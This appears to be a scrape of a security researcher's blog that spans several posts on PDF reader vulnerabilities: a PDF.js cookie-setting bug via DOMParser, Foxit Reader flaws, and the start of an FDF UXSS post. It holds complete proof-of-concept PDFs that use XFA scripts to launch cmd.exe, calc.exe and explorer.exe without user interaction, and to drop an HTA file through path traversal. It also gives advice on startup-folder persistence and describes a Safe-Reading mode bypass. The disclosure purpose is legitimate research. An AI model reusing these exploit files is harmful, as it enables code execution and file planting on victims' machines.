This means, in case a website eg. <i>example.com</i> is parsing an user controlled string via <i>DOMParser</i>, it is possible to set cookies for <i>example.com. </i>It must be noted that this behavior is only present for xml/xhtml context inside <i>parseFromString</i>, text/html does not suffer from this vulnerability.<br />
<i><br /></i>
<br />
<h3>
<i>So - is that really interesting??? Yeah, lets set cookies via a PDF!</i></h3>
<div>
<i><br /></i></div>
I actually discovered this vulnerability while I had a look at the implementation of PDF.js.<br />
Lets have a look:<br />
<br />
<b>File:</b><br />
<i>pdf.js-master\src\display\metadata.js</i><br />
<br />
<b>Code</b>:<br />
<span style="font-family: "courier new" , "courier" , monospace;">function Metadata(<span style="background-color: yellow;">meta</span>) {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if (typeof meta === 'string') {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> // Ghostscript produces invalid metadata</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> meta = fixMetadata(meta);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"> var parser = new DOMParser();</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> meta = <span style="background-color: yellow;">parser.parseFromString(meta, 'application/xml')</span>;</span><br />
<br />
<br />
Some background information: The PDF standard defines two ways to define metadata of a document. As the old way was limited in the amount of info an author could add, another metadata object was added, which is an XML structure. PDF.js is parsing this XML structure to extract the information. This is done by passing the structure to the DOMParser, therefore being vulnerable to the cookie vulnerable described above.<br />
<br />
I reported this vulnerability to Mozilla as well as to the PDF.js team. PDF.js decided to drop the call to DOMParser as it was an overkill and switched to SimpleXML parser to parse the metadata structure. Firefox Nightly was already patched and it finally landed in Firefox stable.<br />
<br />
<br />
The following example PDF is demonstrating this behavior. I modified an example PDF published by <a href="https://github.com/corkami/pocs/tree/master/pdf">corkami</a>:<br />
<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">%PDF-1.1</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">1 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">%<span style="white-space: pre;"> </span>/Type /Catalog</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Pages 2 0 R</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> /AcroForm 5 0 R</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> <span style="background-color: yellow;">/Metadata 14 0 R</span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">2 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Type /Pages</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Count 1</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Kids [ 3 0 R ]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">3 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Type /Page</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Contents 4 0 R</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Parent 2 0 R</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Resources <<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Font <<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/F1 <<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Type /Font</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Subtype /Type1</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/BaseFont /Arial</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">4 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><< /Length 47>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">stream</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">BT</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">/F1 100</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">Tf 1 1 1 1 1 0</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">Tr(Hello World!)Tj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">ET</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endstream</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">5 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><< /DA (/Helv 0 Tf 0 g ) </span><br />
<span style="font-family: "courier new" , "courier" , monospace;">/DR << /Encoding << /PDFDocEncoding 10 0 R >> </span><br />
<span style="font-family: "courier new" , "courier" , monospace;">/Font << /Helv 11 0 R /ZaDb 12 0 R >> >> /Fields [ 13 0 R ] >></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">10 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><< /Differences [ 24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /tilde 39 /quotesingle 96 /grave 128 /bullet /dagger /daggerdbl /ellipsis /emdash /endash /florin /fraction /guilsinglleft /guilsinglright /minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /quoteright /quotesinglbase /trademark /fi /fl /Lslash /OE /Scaron /Ydieresis /Zcaron /dotlessi /lslash /oe /scaron /zcaron 160 /Euro 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logicalnot /.notdef /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu 183 /periodcentered /cedilla /onesuperior /ordmasculine 188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis ] /Type /Encoding >></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">11 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><< /BaseFont /Helvetica /Encoding 10 0 R /Name /Helv /Subtype /Type1 /Type /Font >></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">12 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><< /BaseFont /ZapfDingbats /Name /ZaDb /Subtype /Type1 /Type /Font >></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">13 0 obj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><< /AP << /N 20 0 R >> /DA (/Helv 12 Tf 0 g) /DS (font: Helvetica,sans-serif 12.0pt; text-align:left; color:#000000 ) /DV (<h1>aaaa) /F 4 /FT /Tx /Ff 33554432 /MK << >> /P 17 0 R /RV (<h1>aaaa) /Rect [ 113.334 752.844 407.626 801.577 ] /Subtype /Widget /T (Text1) /Type /Annot >></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;">14 0 obj</span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"><</Length 2565/Subtype/XML/Type/Metadata>></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;">stream</span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"><html xmlns="http://www.w3.org/1999/xhtml"></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"><head></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"> <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppa=qqq' /></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"></head></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"><body></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"> some content</span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"></body></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;"></html></span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;">endstream</span><br />
<span style="background-color: yellow; font-family: "courier new" , "courier" , monospace;">endobj</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">trailer</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><<</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>/Root 1 0 R</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">>></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">%%EOF</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">% a naive PDF (for pdf.js) with more elements than usually required</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">% Ange Albertini, BSD licence 2012</span><br />
<div>
<br /></div>
<br />
<br />
<br />
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-59812406035047759142017-08-20T07:08:00.001-07:002020-01-29T12:51:11.400-08:00A tale about Foxit Reader - Safe Reading mode and other vulnerabilities<br />
<br />
Some days ago someone send me the following link, which describes two vulnerabilities in Foxit Reader: <a href="http://thehackernews.com/2017/08/two-critical-zero-day-flaws-disclosed.html">http://thehackernews.com/2017/08/two-critical-zero-day-flaws-disclosed.html</a><br />
<br />
These two vulnerabilities are similar to the behavior of Foxit Reader I presented at Appsec Belfast 2017. Unfortunately the recording was never published, so I decided it's time for a blog post to give some additional information about these vulnerabilities.<br />
<br />
<br />
First I have to describe the implemented security model in Foxit Reader.<br />
<br />
<br />
<h3>
Safe-Reading mode</h3>
<div>
<br /></div>
Foxit Reader implements a one-line defense, the so-called "Safe-Reading mode". It is enabled by default. In case it is enabled it prohibits the execution of scripts and other features, which can harm the security of the end user.<br />
During my presentation I said, that this feature should never ever be disabled.<br />
<br />
In case a vulnerability requires a disabled "Safe-Reading mode", Foxit will mostly not patch it. This is true for the two "vulnerabilities" described in the link above.<br />
<br />
<b>Note:</b><br />
Apparently Foxit decided to provide a patch for the two vulnerabilities mentioned in the hackernews blog post.<br />
https://www.zerodayinitiative.com/blog/2017/8/17/busting-myths-in-foxit-reader<br />
<br />
Short quote extracted from the Foxit statement:<br />
<i>"Foxit Software is deeply committed to delivering secure PDF products to its customers. Our track record is strong in responding quickly in fixing vulnerabilities [...]"</i><br />
<i><br />
</i> <b>Note2:</b><br />
<div>
Foxit contacted me and stated that they are fixing my vulnerabilites, which are described in this blogpost, aswell. </div>
<br />
<br />
<br />
So lets continue talking about my similar findings, one of which is still unfixed.<br />
<br />
<h3>
Execute local file </h3>
<div>
<br /></div>
Reported: 5.5.2017 to Foxit Security team<br />
Security bulletin released: 4.7.2017 https://www.foxitsoftware.com/de/support/security-bulletins.php<br />
Function call: xfa.host.gotoURL<br />
<b>Reality: Still Unfixed. Not protected by Safe-Reading mode!</b><br />
<b>Tested Foxit version: 8.3.1.21155</b><br />
<br />
<br />
CVE-2017-10951 is abusing the <i><a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=127">app.launchURL</a></i> JavaScript call to execute a local program, without any user interaction. I am using another function with a similar functionality called <i><a href="http://help.adobe.com/en_US/livecycle/es/lcdesigner_scripting_reference.pdf#page=368">xfa.host.gotoURL</a></i>. <br />
By reading the specification it can be seen that normally these functions accept a URL, which is opened in a new browser window. So far so simple.<br />
I assume CVE-2017-10951 used the same URL I did to execute a local program (I am not 100% sure as no exact details are public).<br />
<br />
Instead of passing a http/https URL to <i>xfa.host.gotoURL</i> I used the file:/// protocol handler. To execute cmd.exe. The following file:/// URL is enough:<br />
<br />
<i>xfa.host.gotoURL("file:///c:/windows/system32/cmd.exe");</i><br />
<br />
One difference between <i>app.launchURL</i> and <i>xfa.host.gotoURL</i> is this one: <i>xfa.host.gotoURL</i> is not protected by the safe reading mode or as I described in my email to the Foxit security team:<br />
<br />
<pre wrap="">The XFA standard defines the xfa.host.gotoURL function call, which
should load an URL. I discovered that this function is not protected by
the Trust Manager, nor does it check the specified protocol.
The following example will open "cmd.exe" without any user interaction:
xfa.host.gotoURL(<a class="moz-txt-link-rfc2396E" href="file:///C:/windows/system32/cmd.exe">"file:///C:/windows/system32/cmd.exe"</a>);</pre>
<br />
<br />
I have no idea why Foxit did not patch my vulnerability but hopefully they do now!<br />
<b>Note: This is not a full "Safe Reading Mode" bypass. This only works for this exact function call!</b><br />
<br />
Have fun with the PoC (it opens cmd.exe and calc.exe. When you close the PDF it will open explorer.exe) - there was a link but apparently Google does not like me hosting my own PoC.<br />
<pre><code class="HTML">
%PDF-1.1
1 0 obj
<<
<span style="white-space: pre;"> </span>/Type /Catalog
<span style="white-space: pre;"> </span>/Pages 2 0 R
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 5 0 R
>>
>>
endobj
2 0 obj
<<
<span style="white-space: pre;"> </span>/Type /Pages
<span style="white-space: pre;"> </span>/Count 1
<span style="white-space: pre;"> </span>/Kids [ 3 0 R ]
>>
endobj
3 0 obj
<<
<span style="white-space: pre;"> </span>/Type /Page
<span style="white-space: pre;"> </span>/Contents 4 0 R
<span style="white-space: pre;"> </span>/Parent 2 0 R
<span style="white-space: pre;"> </span>/Resources <<
<span style="white-space: pre;"> </span>/Font <<
<span style="white-space: pre;"> </span>/F1 <<
<span style="white-space: pre;"> </span>/Type /Font
<span style="white-space: pre;"> </span>/Subtype /Type1
<span style="white-space: pre;"> </span>/BaseFont /Arial
<span style="white-space: pre;"> </span>>>
<span style="white-space: pre;"> </span>>>
<span style="white-space: pre;"> </span>>>
>>
endobj
4 0 obj
<< /Length 47>>
stream
BT
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj
ET
endstream
endobj
5 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="docReady" ref="$host">
<script>
xfa.host.gotoURL("file:///C:/windows/system32/cmd.exe");
</script>
</event>
<event activity="docClose" ref="$host">
<script>
xfa.host.gotoURL("file:///C:/windows/explorer.exe");
</script>
</event>
<event activity="initialize">
<script>
xfa.host.gotoURL("file:///C:/windows/system32/calc.exe");
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer
<<
<span style="white-space: pre;"> </span>/Root 1 0 R
>>
%%EOF
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012
% modified by Alex Inführ
</code></pre>
<div>
<br /></div>
<br />
<a href="https://www.youtube.com/watch?v=CWu4OHwtzm8">https://www.youtube.com/watch?v=CWu4OHwtzm8</a><br />
<br />
<br />
<b>File execution - limitations:</b><br />
<br />
1) It is not possible to pass parameters to the executed program. Maybe it is possible via <i>app.launchURL</i> but the text/video does not contain any hint that this is the case.<br />
2) When the file:/// protocol handler is pointing to an executable, which is stored on a SMB share, the Windows operating system will trigger a warning box asking the user for confirmation to execute the program.<br />
3) In case the handler is pointing to a currently downloaded file (most likely via the web browser), Windows will once again ask the user for confirmation before the program is executed. Downloaded files contain a so-called "<a href="https://blogs.msdn.microsoft.com/oldnewthing/20131104-00/?p=2753">Zone Identifier</a>". This identifier contains information about the source of the executable. In case a file is downloaded from a website like example.com, it will contain a Zone Identifier of 3. A ZI of 3 always triggers a warning dialog before the file is executed (note: there are some exceptions to this rule).<br />
<br />
I am aware of one possible way to bypass these restrictions but this will require another blog post ;) <br />
<br />
<h3>
Drop a file to the local file system</h3>
<div>
<br /></div>
I reported my finding in 2016 via ZDI in combination with the safe-reading mode bypass: http://www.zerodayinitiative.com/advisories/ZDI-16-396/ <br />
<br />
<b>Reality</b>: Patched in combination with the Safe-Reading mode bypass in 2016. It is still working with disabled Safe-Reading mode (as intended I assume)<br />
<br />
Lets move on the next vulnerability described in the link above.<br />
Once again I used a different function call with the same functionality. I think you can see a pattern ^^.<br />
CVE-2017-10592 is using the <i><a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=333">this.saveAs</a></i> function call to drop a file to the local file system. I always used the <i><a href="http://help.adobe.com/en_US/livecycle/es/lcdesigner_scripting_reference.pdf#page=362">xfa.host.exportData</a></i> function to achieve the same functionality. Both function accept a device independent path (the PDF way to define a local path, independent of the operating system) to store a file. As the file path is completely user controlled, the file extension can be chosen freely. <br />
In case of the <i>saveAs</i> function, the stored PDF file itself can be converted to other file types although I do not know if Foxit Reader actually supports this functionality.<br />
The <i>xfa.host.exportData</i> function call exports a XML structure. As it is either really difficult or even impossible to drop a valid executable (as the attacker has no full control of the content of the file), the easiest way to exploit this kind of vulnerability on the Windows operating system is dropping a HTML application (.hta).<br />
A HTML application behaves like a normal HTML file (eg. any characters, which are no valid HTML elements are happily ignored) but it has access to powerful JavaScript API calls, which allow to execute programs with parameters, local file access and more.<br />
All the attacker has to do is embedding a valid script tag inside the PDF structure and ensure that is stored in the created HTA file. <br />
<br />
By dropping this kind of file into the startup folder, the attacker just has to wait for the victim to restart his PC. In case the attacker does not want to wait for a restart, he can drop his malicious HTA file and use the before mentioned functionality to immediately execute it (the dropped file does not have a Zone Identifier).<br />
<br />
Proof-of-Concept (the PoC stores no real payload in the dropped file):<br />
1. Open the PoC in Foxit Reader<br />
2. Disable Safe Reading mode<br />
3. Restart Foxit Reader<br />
4. Open the PDF<br />
5. Close it. A file called evilHTA.hta will be dropped on the desktop.<br />
<br />
Again - my own PoC is considered a virus so no link:<br />
<pre><code class="html">
%PDF-1.1
1 0 obj
<<
<span style="white-space: pre;"> </span>/Type /Catalog
<span style="white-space: pre;"> </span>/Pages 2 0 R
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 5 0 R
>>
>>
endobj
2 0 obj
<<
<span style="white-space: pre;"> </span>/Type /Pages
<span style="white-space: pre;"> </span>/Count 1
<span style="white-space: pre;"> </span>/Kids [ 3 0 R ]
>>
endobj
3 0 obj
<<
<span style="white-space: pre;"> </span>/Type /Page
<span style="white-space: pre;"> </span>/Contents 4 0 R
<span style="white-space: pre;"> </span>/Parent 2 0 R
<span style="white-space: pre;"> </span>/Resources <<
<span style="white-space: pre;"> </span>/Font <<
<span style="white-space: pre;"> </span>/F1 <<
<span style="white-space: pre;"> </span>/Type /Font
<span style="white-space: pre;"> </span>/Subtype /Type1
<span style="white-space: pre;"> </span>/BaseFont /Arial
<span style="white-space: pre;"> </span>>>
<span style="white-space: pre;"> </span>>>
<span style="white-space: pre;"> </span>>>
>>
endobj
4 0 obj
<< /Length 47>>
stream
BT
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj
ET
endstream
endobj
5 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="docClose" ref="$host">
<script contentType='application/x-javascript'>
var user = identity.name;
xfa.host.exportData("../../../users/"+user+"/Desktop/evilHTA.hta",false);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer
<<
<span style="white-space: pre;"> </span>/Root 1 0 R
>>
%%EOF
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012
% modified by Alex Inführ
</code></pre>
<div>
<br /></div>
<br />
In case you are wondering why the onclose event is used, I can tell you a near null exception crashes Foxit Reader.<br />
<br />
<br />
So this was a short introduction about Foxit Reader and why you should never disable the Safe Reading mode.<br />
<br />
But wait... is there a way to bypass the "Safe-Reading mode"?<br />
The following bypass is fixed but maybe it inspires someone to search for new bypasses :)<br />
<br />
<br />
<h3>
[+] Fixed: Safe-Reading mode bypass </h3>
When I started to play with Foxit Reader I did not read anything about the implemented security and instead just jumped right into it.<br />
I used different functions, which I know could introduce security problems until I tried <i>xfa.host.exportData</i>.<br />
Suddenly my file was dropped without any user interaction. My first reaction was: "<i>WTF? This can't be real. There should be some security protection in place.</i>" <br />
So I started to research and discovered: I bypassed the safe-reading mode without even realizing it ^^<br />
<br />
Basically what I used while researching was XFA. XFA is a XML structure defined in the PDF standard, which defines everything related to forms in PDF.<br />
It allows to define buttons, text boxes and more. Additionally, similar to HTML, you can react to events triggered for each element and the document itself.<br />
This allows you to specify JavaScript, which is executed as soon as the event is fired. A simplified example to understand the concept is provided by corkami: <a href="https://raw.githubusercontent.com/corkami/pocs/master/pdf/formevent_js.pdf">https://raw.githubusercontent.com/corkami/pocs/master/pdf/formevent_js.pdf</a> <br />
<br />
In my case I reacted to the "initialized" event for my created button element.<br />
As you can possible guess, this event is fired every time the element is initialized and therefore it fires really early during the parsing of the PDF structure.<br />
And this was all needed to bypass the "Safe-Reading" mode. Apparently the event fired so early that the mode was not initialized or they forgot to apply it for this event too.<br />
<br />
<br />
<br />
<br />
<br />
<h3>
</h3>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<h3>
</h3>
<h3>
</h3>
<h3>
</h3>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<h4>
</h4>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<h3>
</h3>
<br />
<br />
<br />
<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-80398438539961300982017-05-24T06:00:00.001-07:002017-05-24T11:26:11.669-07:00PDF - FDF UXSS via trusted document (spoiler - requires a click :/ )<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-outline-level: 2;">
<b><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 18pt;"><br />
FDF: the file Forms Data Form<o:p></o:p></span></b></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">In this blogpost I disclose some additional
information about a vulnerability I showed during my presentation at Appsec
Belfast 2017. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">In the presentation I showed that it is possible to
trigger JavaScript execution in any web page as soon as a PDF is trusted.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Although I am aware that a trusted PDF has quite a lot
of permissions, I want to explain in this post how FDF can be used to execute
JavaScript in a targeted domain.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">!NOTE: THIS ONLY WORKS WITH THE ADOBE PDF BROWSER
PLUGIN!<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-outline-level: 3;">
<b><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">What is FDF<o:p></o:p></span></b></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">In this post I am not going to talk about PDF at all,
as the used PDF for this attack does not matter. It just needs to be properly
rendered inside the browser and be hosted on the same domain as the injected
FDF (eg. your own server like http://attacker.com).<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">So what is FDF. FDF is a file structure, which allows
to exchange field values, Javascript, annotations (eg. comments) and other
information between PDFs. There are different ways to load this type of files
into a PDF, but I will focus on one particular as it is the simplest one.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">The structure of a FDF is defined in the PDF standard: </span><span style="font-family: "times new roman" , serif; font-size: 13.5pt;"><a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=710"><span lang="EN-GB" style="color: blue; mso-ansi-language: EN-GB;">Link to the standard</span></a></span><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">It has a similar structure to PDF but I am not going
into any details. The reason being is that FDF defines two keys in his
root structure we are going to use for this attack:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">/F: The source file or target file: the PDF document
file that this FDF file was exported from or is intended to be imported
into. </span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">/Target: The name of a browser frame in which the
underlying PDF document is to be opened. This mimics the behavior of the target
attribute in HTML tags. </span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><br />
<!--[if !supportLineBreakNewLine]--><br />
<!--[endif]--></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;">Basically these two keys allow us to define the PDF, which the FDF
belongs to and the window name it is currently loaded.<o:p></o:p></span></div>
